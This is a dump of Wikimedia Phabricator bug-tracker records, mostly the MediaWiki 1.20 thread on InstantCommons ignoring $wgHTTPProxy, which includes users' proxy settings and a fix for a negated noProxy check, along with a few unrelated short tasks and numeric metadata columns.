That string is https://en.wikipedia.org/wiki/MediaWiki:Titleblacklist-forbidden-new-account and hence a duplicate of bug 38894.

*** This bug has been marked as a duplicate of bug 38894 ***",,,1358533466,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a5oosv56sj3jlq3dnt3l,task_subcomment,,True,c2,1,True,,,-32,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,10.0,0.0,2.0,15.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.275,0.7,"Thanks for taking the time to report this!

That string is URL and hence a duplicate of bug 38894.

*** This bug has been marked as a duplicate of bug 38894 ***"
44196,InstantCommons doesn't respect $wgHTTPProxy,"From mediawiki-l at http://permalink.gmane.org/gmane.org.wikimedia.mediawiki/40553

Situation: InstantCommons does not work for me (I sitting behind a proxy).

Configuration:
- mediawiki 1.20 on debian squeeze

Proxyconfig in Localsettings.php
# PROXY Setting
$wgHTTPProxy = ""http://*<myproxy>*:8080"";
# proxy bypass list
$wgConf->localVHosts[] = '*<www.secret.com>*';

In my firewall-log I see that the debian-box tries to connect directly
(which does not work)
- Server: 91.198.174.224 port 80 http
- wikimedia-lb.esams.wikimedia.org

--------------------------
**Version**: 1.20.x
**Severity**: major",Medium,50.0,1353076860,1378164634.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,False,PHID-TASK-hidviamjkvg5twi6j4q5,task_description,resolved,True,c2,1,False,False,True,-41,True,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,2.5,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,14.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,9.5,1.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,2.5,6.0,5.0,0.0,2.0,0.0,2.5,1.0,1.0,0.5,0.5,1.0,0.0,0.0,3.5,3.9494350282485877,0.7307909604519774,"From mediawiki-l at URL

Situation: InstantCommons does not work for me (I sitting behind a proxy).

Configuration:
- mediawiki 1.20 on debian squeeze

Proxyconfig in Localsettings.php
# PROXY Setting
$wgHTTPProxy = ""URL
# proxy bypass list
$wgConf->localVHosts[] = '*<www.secret.com>*';

In my firewall-log I see that the debian-box tries to connect directly
(which does not work)
- Server: 91.198.174.224 port 80 http
- wikimedia-lb.esams.wikimedia.org

--------------------------
**Version**: 1.20.x
**Severity**: major"
204337,InstantCommons doesn't respect $wgHTTPProxy,"**roolze** wrote:

MW 1.21 is fine. Cheers, Roland",,,1378207677,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,0.8125,"**roolze** wrote:

MW 1.21 is fine. Cheers, Roland"
204331,InstantCommons doesn't respect $wgHTTPProxy,"This was fixed in commit 5c8245acdffd8ff5f52638b85520c54b0aed6b9b.

MW 1.21 should have the fix. Do you want it backported to 1.20?",,,1378164634,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,9.0,0.0,9.0,9.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.956521739130435,0.9565217391304348,"This was fixed in commit 5c8245acdffd8ff5f52638b85520c54b0aed6b9b.

MW 1.21 should have the fix. Do you want it backported to 1.20?"
204325,InstantCommons doesn't respect $wgHTTPProxy,"Church of emacs, could you put your patch in gerrit please?",,,1366471579,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,True,,,-19,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,15.0,15.0,15.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,1.0,"Church of emacs, could you put your patch in gerrit please?"
204321,InstantCommons doesn't respect $wgHTTPProxy,"removed negation when evaluating noProxy

!this->noProxy is true iff the proxy sould be set. The old version of the method returns without setting the proxy in this case, while the new one does set the proxy.

**Attached**: {F10208}",,,1366456806,,PHID-USER-j27ofmod3h6tzafsujyq,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,4.0,6.0,4.0,0.0,14.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8627450980392157,0.7647058823529411,"removed negation when evaluating noProxy

!this->noProxy is true iff the proxy sould be set. The old version of the method returns without setting the proxy in this case, while the new one does set the proxy.

**Attached**: {F10208}"
204315,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:

Is there any resolution on this issue? My current workaround is to enable outgoing tcp requests bypassing the proxy server.",,,1364308158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-23,True,3.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,0.9,"**rabe** wrote:

Is there any resolution on this issue? My current workaround is to enable outgoing tcp requests bypassing the proxy server."
204309,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:

I just granted unlimited outgoing tcp requests from our wiki-server and sucessfully opened a file descrition file from commons.wikimedia.org, still configured $wgForeignFileRepos[] ... 

The symptom is bound to this firewall rule. Another parallel mediawiki 1.19.1 on this hosts works perfect with commons via our proxy so I strongly belive on a proxy configuration issue since 1.20.x.

I diff'ed includes/HttpFunctions.php of both projects (1.19.1 --> 1.20.1) and found some new code around !$this->noProxy

Since we have protected $noProxy = false; this shouldn't be a problem here ... I didn't find any $this->noProxy=something; so i think it is always false here.",,,1354390958,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-39,True,1.5,0.5,0.5,0.5,1.5,5.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,5.0,0.0,6.5,6.0,0.5,0.0,0.5,1.5,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,5.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,2.0,2.0,5.0,2.0,2.0,6.5,0.0,0.0,0.5,0.0,1.5,0.0,2.5,0.0,5.5,6.0,1.0,0.0,0.0,0.0,5.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,4.380597014925373,0.835820895522388,"**rabe** wrote:

I just granted unlimited outgoing tcp requests from our wiki-server and sucessfully opened a file descrition file from commons.wikimedia.org, still configured $wgForeignFileRepos[] ... 

The symptom is bound to this firewall rule. Another parallel mediawiki 1.19.1 on this hosts works perfect with commons via our proxy so I strongly belive on a proxy configuration issue since 1.20.x.

I diff'ed includes/HttpFunctions.php of both projects (1.19.1 --> 1.20.1) and found some new code around !$this->noProxy

Since we have protected $noProxy = false; this shouldn't be a problem here ... I didn't find any $this->noProxy=something; so i think it is always false here."
204303,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:

Just to be sure, I added 
	$wgHTTPProxy=""our-proxy-fqdn:3128""; 
to our LocalSettings.php without any success. So neither environment variables not setting this $wgHTTPProxy seems to work here.",,,1354384803,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-39,True,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,9.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.8260869565217391,"**rabe** wrote:

Just to be sure, I added 
	$wgHTTPProxy=""our-proxy-fqdn:3128""; 
to our LocalSettings.php without any success. So neither environment variables not setting this $wgHTTPProxy seems to work here."
204299,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:

some correction to my last comment (2012-12-01 17:18:37 UTC): there's *no* access to our proxy, the access i saw was from another MediaWiki project.

Correct is: There was no access to our proxy.

According to the curl(1) manpage it will use following environment variables to 

       http_proxy [protocol://]<host>[:port]
       HTTPS_PROXY [protocol://]<host>[:port]
       [url-protocol]_PROXY [protocol://]<host>[:port]
       ALL_PROXY [protocol://]<host>[:port]

Grepping our proxy from the output of ""phpinfo()"" brings:

   ALL_PROXY            our-proxy-fqdn:3128
   ftp_proxy            our-proxy-fqdn:3128
   http_proxy           our-proxy-fqdn:3128
   https_proxy          our-proxy-fqdn:3128
   RSYNC_PROXY          our-proxy-fqdn:3128
   _SERVER[""ALL_PROXY""] our-proxy-fqdn:3128
   _SERVER[""ftp_proxy""] our-proxy-fqdn:3128
   _SERVER[""http_proxy""] our-proxy-fqdn:3128
   _SERVER[""https_proxy""] our-proxy-fqdn:3128
   _SERVER[""RSYNC_PROXY""] our-proxy-fqdn:3128

So libcurl / curl should be able to find one matching environment variable here. This configuration worked fine until yesterday, I upgraded from 1.19.0 to 1.20.1 today.

We use following setting since 10/2011 or longer:

$wgForeignFileRepos[] = array(
   'class'                   => 'ForeignAPIRepo',
   'name'                    => 'shared',
   'apibase'                 => 'http://commons.wikimedia.org/w/api.php',
   'fetchDescription'        => true, // Optional
   'descriptionCacheExpiry'  => 43200, // 12 hours, optional (values are seconds)
   'apiThumbCacheExpiry'     => 43200, // 12 hours, optional, but required for local thumb caching
);


This worked very well, I didn't change this conf sincs 2011-10-06.


So something is new with 1.20.x or I missed some change?",,,1354383702,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-39,True,0.5,0.25,0.25,0.0,0.25,2.75,0.75,0.0,0.0,0.0,0.0,4.75,0.0,0.0,0.5,4.75,0.0,1.75,3.75,0.25,0.25,0.25,0.25,0.0,2.25,0.0,0.0,0.0,0.0,0.25,0.25,1.75,0.5,0.25,0.5,0.0,0.0,0.0,0.25,0.25,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,15.75,0.25,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.75,1.5,6.75,0.25,0.75,2.5,0.0,0.0,0.0,0.0,1.25,0.5,6.0,0.0,5.25,3.75,4.0,0.25,6.25,0.0,5.25,0.0,0.0,0.0,0.0,1.25,0.25,0.0,4.5,4.356013431013431,0.5842185592185593,"**rabe** wrote:

some correction to my last comment (2012-12-01 17:18:37 UTC): there's *no* access to our proxy, the access i saw was from another MediaWiki project.

Correct is: There was no access to our proxy.

According to the curl(1) manpage it will use following environment variables to 

       http_proxy [protocol://]<host>[:port]
       HTTPS_PROXY [protocol://]<host>[:port]
       [url-protocol]_PROXY [protocol://]<host>[:port]
       ALL_PROXY [protocol://]<host>[:port]

Grepping our proxy from the output of ""phpinfo()"" brings:

   ALL_PROXY            our-proxy-fqdn:3128
   ftp_proxy            our-proxy-fqdn:3128
   http_proxy           our-proxy-fqdn:3128
   https_proxy          our-proxy-fqdn:3128
   RSYNC_PROXY          our-proxy-fqdn:3128
   _SERVER[""ALL_PROXY""] our-proxy-fqdn:3128
   _SERVER[""ftp_proxy""] our-proxy-fqdn:3128
   _SERVER[""http_proxy""] our-proxy-fqdn:3128
   _SERVER[""https_proxy""] our-proxy-fqdn:3128
   _SERVER[""RSYNC_PROXY""] our-proxy-fqdn:3128

So libcurl / curl should be able to find one matching environment variable here. This configuration worked fine until yesterday, I upgraded from 1.19.0 to 1.20.1 today.

We use following setting since 10/2011 or longer:

$wgForeignFileRepos[] = array(
   'class'                   => 'ForeignAPIRepo',
   'name'                    => 'shared',
   'apibase'                 => 'URL
   'fetchDescription'        => true, // Optional
   'descriptionCacheExpiry'  => 43200, // 12 hours, optional (values are seconds)
   'apiThumbCacheExpiry'     => 43200, // 12 hours, optional, but required for local thumb caching
);


This worked very well, I didn't change this conf sincs 2011-10-06.


So something is new with 1.20.x or I missed some change?"
204294,InstantCommons doesn't respect $wgHTTPProxy,"**rabe** wrote:

Same issue here.

OS: FreeBSD 7.4 but with recent (2012-08) ports build
PHP5: php5-curl-5.4.5
Proxy: squid

MediaWiki is doing some kind of api-requests via proxy which get answered by 200: 
[…] TCP_MISS/200 1277 GET http://commons.wikimedia.org/w/api.php? - DIRECT/91.198.174.224 application/json

The relevant environment is set (as shown by phpinfo()):

http_proxy 	our-proxy-fqdn:3128
https_proxy 	our-proxy-fqdn:3128
ftp_proxy 	our-proxy-fqdn:3128
ALL_PROXY 	our-proxy-fqdn:3128
RSYNC_PROXY 	our-proxy-fqdn:3128 

There's no variable name containing ""proxy"" in our LocalSettings.*, so we use defaults here.

I guess MediaWiki is actually doing requests to http://commons.wikimedia.org/w/api.php but may have problems parsing the result.",,,1354382317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-39,True,0.5,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,5.0,0.5,2.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,4.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,1.5,10.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,5.0,4.0,5.0,0.0,1.0,0.0,5.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,1.0,3.7716049382716053,0.6604938271604939,"**rabe** wrote:

Same issue here.

OS: FreeBSD 7.4 but with recent (2012-08) ports build
PHP5: php5-curl-5.4.5
Proxy: squid

MediaWiki is doing some kind of api-requests via proxy which get answered by 200: 
[…] TCP_MISS/200 1277 GET URL - DIRECT/91.198.174.224 application/json

The relevant environment is set (as shown by phpinfo()):

http_proxy 	our-proxy-fqdn:3128
https_proxy 	our-proxy-fqdn:3128
ftp_proxy 	our-proxy-fqdn:3128
ALL_PROXY 	our-proxy-fqdn:3128
RSYNC_PROXY 	our-proxy-fqdn:3128 

There's no variable name containing ""proxy"" in our LocalSettings.*, so we use defaults here.

I guess MediaWiki is actually doing requests to URL but may have problems parsing the result."
204287,InstantCommons doesn't respect $wgHTTPProxy,"**roolze** wrote:

I have to add that i am using a windows box (windows 2008 r2 with iis with arr for url rewriting) in front of the linux box running mediawiki.

Just mentioning it to avoid that we are looking at the wrong place ... (not sure if this can be a reason)",,,1354017780,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,5.0,3.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,6.0,17.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,3.353846153846154,0.8,"**roolze** wrote:

I have to add that i am using a windows box (windows 2008 r2 with iis with arr for url rewriting) in front of the linux box running mediawiki.

Just mentioning it to avoid that we are looking at the wrong place ... (not sure if this can be a reason)"
204280,InstantCommons doesn't respect $wgHTTPProxy,"**roolze** wrote:

PHP
root@wsrz1002:~# php -v
 PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug  6 2012 14:18:06) 

CURL installed
apt-get install php5-curl
 Hole:2 http://ftp.tu-graz.ac.at/mirror/debian/ squeeze/main libcurl3 amd64 7.21.0-2.1+squeeze2 [285 kB]
 php Hole:3 http://ftp.tu-graz.ac.at/mirror/debian/ squeeze/main php5-curl amd64 5.3.3-7+squeeze14 [27,0 kB]
/etc/init.d/apache2 restart

still same effect ?:|",,,1354016620,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-40,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,0.0,0.0,1.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.532608695652174,0.6304347826086957,"**roolze** wrote:

PHP
root@wsrz1002:~# php -v
 PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug  6 2012 14:18:06) 

CURL installed
apt-get install php5-curl
 Hole:2 URL squeeze/main libcurl3 amd64 7.21.0-2.1+squeeze2 [285 kB]
 php Hole:3 URL squeeze/main php5-curl amd64 5.3.3-7+squeeze14 [27,0 kB]
/etc/init.d/apache2 restart

still same effect ?:|"
204272,InstantCommons doesn't respect $wgHTTPProxy,I've replied to the list to ask original issue submitter to comment with the the relevant information.,,,1353172458,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,21.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.526315789473684,0.7894736842105263,I've replied to the list to ask original issue submitter to comment with the the relevant information.
204264,InstantCommons doesn't respect $wgHTTPProxy,"It would be useful to know if the user has the curl php extension installed. If the extension is installed we use curl to connect, otherwise we use php's fopen wrappers. Both code paths should have support for proxies (And should automatically support $wgHTTPProxy) however they are separate code paths, so it would be useful to know which one the user is encountering.

PHP version numbers, and versions of curl php extension installed might also be helpful.",,,1353109732,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hidviamjkvg5twi6j4q5,task_subcomment,,True,c2,1,False,,,-41,True,0.0,0.0,0.0,1.0,0.0,6.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,4.0,9.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,4.0,7.0,6.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,9.0,7.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.314606741573034,0.651685393258427,"It would be useful to know if the user has the curl php extension installed. If the extension is installed we use curl to connect, otherwise we use php's fopen wrappers. Both code paths should have support for proxies (And should automatically support $wgHTTPProxy) however they are separate code paths, so it would be useful to know which one the user is encountering.

PHP version numbers, and versions of curl php extension installed might also be helpful."
43754,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","Currently it's almost impossible to detect trends as 5xx errors are buried at the feet of the peaks of gazillions 500 errors.
Perhaps it should also have a month-old report but that's less important.
(I wanted to check the amount of 504 errors in the last few days/weeks.)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://gdash.wikimedia.org/dashboards/reqerror/
**See Also**:
https://launchpad.net/bugs/925635",Medium,50.0,1351980240,1426523699.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_description,resolved,True,c2,1,True,False,False,-43,True,1.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,8.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,10.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.4329896907216493,0.6082474226804123,"Currently it's almost impossible to detect trends as 5xx errors are buried at the feet of the peaks of gazillions 500 errors.
Perhaps it should also have a month-old report but that's less important.
(I wanted to check the amount of 504 errors in the last few days/weeks.)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
427014,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","spurious 500s have been fixed by https://phabricator.wikimedia.org/T88412 so it looks much more reasonable now, closing",,,1426523699,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,80,True,6.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,4.25,1.0,"spurious 500s have been fixed by URL so it looks much more reasonable now, closing"
392706,"[gdash] ""(cdn) HTTP Error Rate"" would use log scale for 5xx errors","looks like this is much better now?

https://gdash.wikimedia.org/dashboards/reqerror/",,,1419421245,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-rf2c2avrtu6ycl7nz5yo,task_subcomment,,True,c2,3,True,,,69,True,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.4,1.0,"looks like this is much better now?

URL"
